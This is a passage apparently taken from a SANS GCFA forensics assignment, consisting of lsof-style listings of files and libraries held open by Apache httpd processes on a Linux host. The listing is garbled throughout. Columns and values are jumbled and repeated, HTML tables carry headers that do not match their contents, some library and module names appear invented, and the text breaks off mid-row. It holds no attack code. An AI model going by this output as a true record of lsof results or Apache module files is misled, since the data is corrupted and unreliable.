| httpd                        | 1.9.6     | REG   | 140418       | 65389 /lib/libjpeg.so.62.0.0  |
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19367 root mem REG 3,2 79725 440048
httpd 19367 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 19367 root mem REG 3,2 44992 65349 /usr/lib/libibm.so.2.0.15
httpd 19367 root mem REG 3,2 45415 mem 361624 /lib/libnss_files.so.2.2.5
httpd 19367 root mem REG 3,2 2457 130317
httpd 19367 root mem REG 3,2 60 130322
httpd 19367 root mem REG 3,2 173680 130324
httpd 19367 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 19367 root mem REG 3,2 191615 mem 73730 /lib/libcap.so.2.2.5.so
httpd 19367 root mem REG 3,2 45853 mem 63459 /usr/lib/libnss_nisplus.so.2.2.5.so
httpd 19367 root mem REG 3,2 46117 mem 65351 /lib/libnss_files.so.2.2.5.so
httpd 19367 root mem REG 3,2 1401027 73730 /lib/libcap.so.2.2.5.so
httpd 19367 root 0r CHR 1,3 9637 /dev/null
httpd 19367 root 1w CHR 1,3 9637 /dev/null
httpd 19367 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19367 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 19367 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 19367 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 19367 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19367 root 16w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19367 root 17w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19367 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19367 root 19w REG 3,6 0 44198 /var/log/httpd/access_log
httpd 19367 root cwd DIR 3,5 1024 2 /
httpd 19367 root cwd DIR 3,5 1024 2 /
httpd 19367 root cwd DIR 3,5 290169 131802 /
httpd 19367 root cwd DIR 3,5 85947 63490 /lib/libdl.so.2.2.5.so
httpd 19367 root cwd DIR 3,5 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19367 root cwd DIR 3,5 8301 229506 /usr/lib/apache/mod_env.so
httpd 19367 root cwd DIR 3,5 17638 229514 /usr/lib/apache/mod_log_referer.so
httpd 19367 root cwd DIR 3,5 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19367 root cwd DIR 3,5 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19367 root cwd DIR 3,5 371 130311
httpd 19368 root mem REG 3,2 101902 73734 /lib/libfd.so.2.2.5.so
httpd 19368 root mem REG 3,2 173359 73732 /lib/libfd.so.2.2.5.so
httpd 19368 root mem REG 3,2 23575 65351 /lib/libcrypto-2.2.5.so
httpd 19368 root mem REG 3,2 30282 65351 /lib/libssl.so.2.0.0
httpd 19368 root mem REG 3,2 655224 63543 /lib/libdb.so.2.0.0
httpd 19368 root mem REG 3,2 44992 65351 /usr/lib/libgdbm.so.2.0.0
httpd 19368 root mem REG 3,2 50609 440053 /usr/lib/kerberos/lib/libkrb5.so.3.1
httpd 19368 root mem REG 3,2 79725 440048 /usr/lib/kerberos/lib/libkrb5.so.3.1
httpd 19368 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19368 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19368 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19368 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19368 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19368 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_include.so
httpd 19368 root mem REG 3,2 1264225 229530 /usr/lib/apache/modPerl.so
httpd 19368 root mem REG 3,2 177598 229531 /usr/lib/apache/mod_autoindex.so
httpd 19368 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_referer.so
httpd 19368 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19368 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19368 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19368 root mem REG 3,2 60 130322
httpd 19368 root mem REG 3,2 60 130322
httpd 19368 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19368 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19368 root mem REG 3,2 60 130322
httpd 19368 root mem REG 3,2 60 130322
httpd 19368 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19368 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19368 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19368 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expired.so
httpd 19368 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19368 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19368 root mem REG 3,2 92407 440046
httpd 19368 root mem REG 3,2 12102 63503 /lib/libdl.so.2.2.5.so
httpd 19368 root mem REG 3,2 48583 65345 /usr/lib/libnss_nisplus.so.7.1.8
httpd 19368 root mem REG 3,2 46117 65351 /lib/libnss_nisplus.so.2.2.5.so
httpd 19368 root mem REG 3,2 1401027 73730 /lib/libcap.so.2.2.5.so
httpd 19368 root mem REG 3,2 65351 /lib/libnss_nisplus.so.2.2.5.so
httpd 19368 root mem REG 3,2 1401027 73730 /lib/libcap.so.2.2.5.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>Offset</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453190</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>httpd 19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
</tr>
</tbody>
</table>

```
$ /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
$ /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
$ /usr/lib/locale/en_US.iso885915/LC_ADDRESS
$ /usr/lib/locale/en_US.iso885915/LC_NAME
$ /usr/lib/locale/en_US.iso885915/LC_MONEY'
```
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Flags</th>
<th>Account</th>
<th>Starttime</th>
<th>Command</th>
<th>PID</th>
<th>Group</th>
<th>Address</th>
<th>Flags</th>
<th>Size</th>
<th>Path</th>
<th>Flags</th>
<th>SSL</th>
<th>TCP</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>27836</td>
<td>/usr/apache/mod_autoindex.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>15050</td>
<td>3072</td>
<td>/usr/lib/apache/mod_cgi.so</td>
<td>REG</td>
<td>14940</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>6924</td>
<td>/usr/apache/mod_asis.so</td>
<td>19370</td>
<td>root</td>
<td>229496</td>
<td>15974</td>
<td>3072</td>
<td>/usr/apache/mod_actions.so</td>
<td>REG</td>
<td>15974</td>
<td>root</td>
<td>229510</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>8541</td>
<td>/usr/apache/mod_asis.so</td>
<td>19370</td>
<td>root</td>
<td>229494</td>
<td>8770</td>
<td>3072</td>
<td>/usr/apache/mod_userdir.so</td>
<td>REG</td>
<td>8770</td>
<td>root</td>
<td>229497</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10617</td>
<td>/usr/apache/mod_alias.so</td>
<td>19370</td>
<td>root</td>
<td>229497</td>
<td>9304</td>
<td>3072</td>
<td>/usr/apache/mod_apis.so</td>
<td>REG</td>
<td>9304</td>
<td>root</td>
<td>229499</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10034</td>
<td>/usr/apache/mod_access.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>10617</td>
<td>3072</td>
<td>/usr/apache/mod_auth.so</td>
<td>REG</td>
<td>10617</td>
<td>root</td>
<td>229499</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>8486</td>
<td>/usr/apache/mod_auth_anon.so</td>
<td>19370</td>
<td>root</td>
<td>229499</td>
<td>8486</td>
<td>3072</td>
<td>/usr/apache/mod_auth_db.so</td>
<td>REG</td>
<td>8486</td>
<td>root</td>
<td>229499</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>9304</td>
<td>/usr/apache/mod_auth_db.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>9304</td>
<td>3072</td>
<td>/usr/apache/mod_header.so</td>
<td>REG</td>
<td>9304</td>
<td>root</td>
<td>229499</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>9900</td>
<td>/usr/apache/mod_expires.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>9900</td>
<td>3072</td>
<td>/usr/apache/mod_expires.so</td>
<td>REG</td>
<td>9900</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10034</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>10034</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>10034</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>11985</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>11985</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>11985</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>8541</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>8541</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>8541</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>15974</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>15974</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>15974</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10617</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>10617</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>10617</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10034</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>10034</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>10034</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>8486</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>8486</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>8486</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>9304</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>9304</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>9304</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>9900</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>9900</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>9900</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>root</td>
<td>10034</td>
<td>/usr/apache/mod_module.so</td>
<td>19370</td>
<td>root</td>
<td>229501</td>
<td>10034</td>
<td>3072</td>
<td>/usr/apache/mod_module.so</td>
<td>REG</td>
<td>10034</td>
<td>root</td>
<td>229503</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Status</td>
<td>Command</td>
<td>Priority</td>
<td>User</td>
<td>Priority</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>--------</td>
<td>---------</td>
<td>----------</td>
<td>------</td>
<td>----------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td>130316</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>REG</td>
<td>130316</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td>130310</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>REG</td>
<td>130310</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td>130314</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>REG</td>
<td>130314</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>REG</td>
<td>130315</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td>REG</td>
<td>179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>130313</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>REG</td>
<td>130313</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>130323</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td>130323</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>98424</td>
<td>63507</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libnsl-2.2.5.so</td>
<td>REG</td>
<td>63507</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td>66033</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/libphp4.so</td>
<td>REG</td>
<td>66033</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td>65033</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libpam.so.0.75</td>
<td>REG</td>
<td>65033</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libltdl.so.3.1.0</td>
<td>REG</td>
<td>179360</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>130315</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libpspell-modules.so.1.0.1</td>
<td>REG</td>
<td>130315</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>226442</td>
<td>65304</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libstdc++-3-libc6.2-2.10.0.so</td>
<td>REG</td>
<td>65304</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td>65396</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td>REG</td>
<td>65396</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td>65358</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libz.so.1.1.3</td>
<td>REG</td>
<td>65358</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
<td>66039</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td>REG</td>
<td>66039</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
<td>63547</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>REG</td>
<td>63547</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>207008</td>
<td>63567</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libssl.so.0.9.6b</td>
<td>REG</td>
<td>63567</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>69825</td>
<td>63535</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libresolv-2.2.5.so</td>
<td>REG</td>
<td>63535</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td>66042</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libpspell.so.4.0.3</td>
<td>REG</td>
<td>66042</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>290511</td>
<td>65311</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libncurses.so.5.2</td>
<td>REG</td>
<td>65311</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>196866</td>
<td>66287</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libgd.so.1.8.4</td>
<td>REG</td>
<td>66287</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>717774</td>
<td>65410</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libxml2.so.2.4.19</td>
<td>REG</td>
<td>65410</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td>65263</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libjpeg.so.62.0.0</td>
<td>REG</td>
<td>65263</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libldap.so.2.0.15</td>
<td>REG</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>48592</td>
<td>65349</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/libber.so.2.0.15</td>
<td>REG</td>
<td>65349</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td>65253</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libnss_files-2.2.5.so</td>
<td>REG</td>
<td>65253</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td>130317</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>REG</td>
<td>130317</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
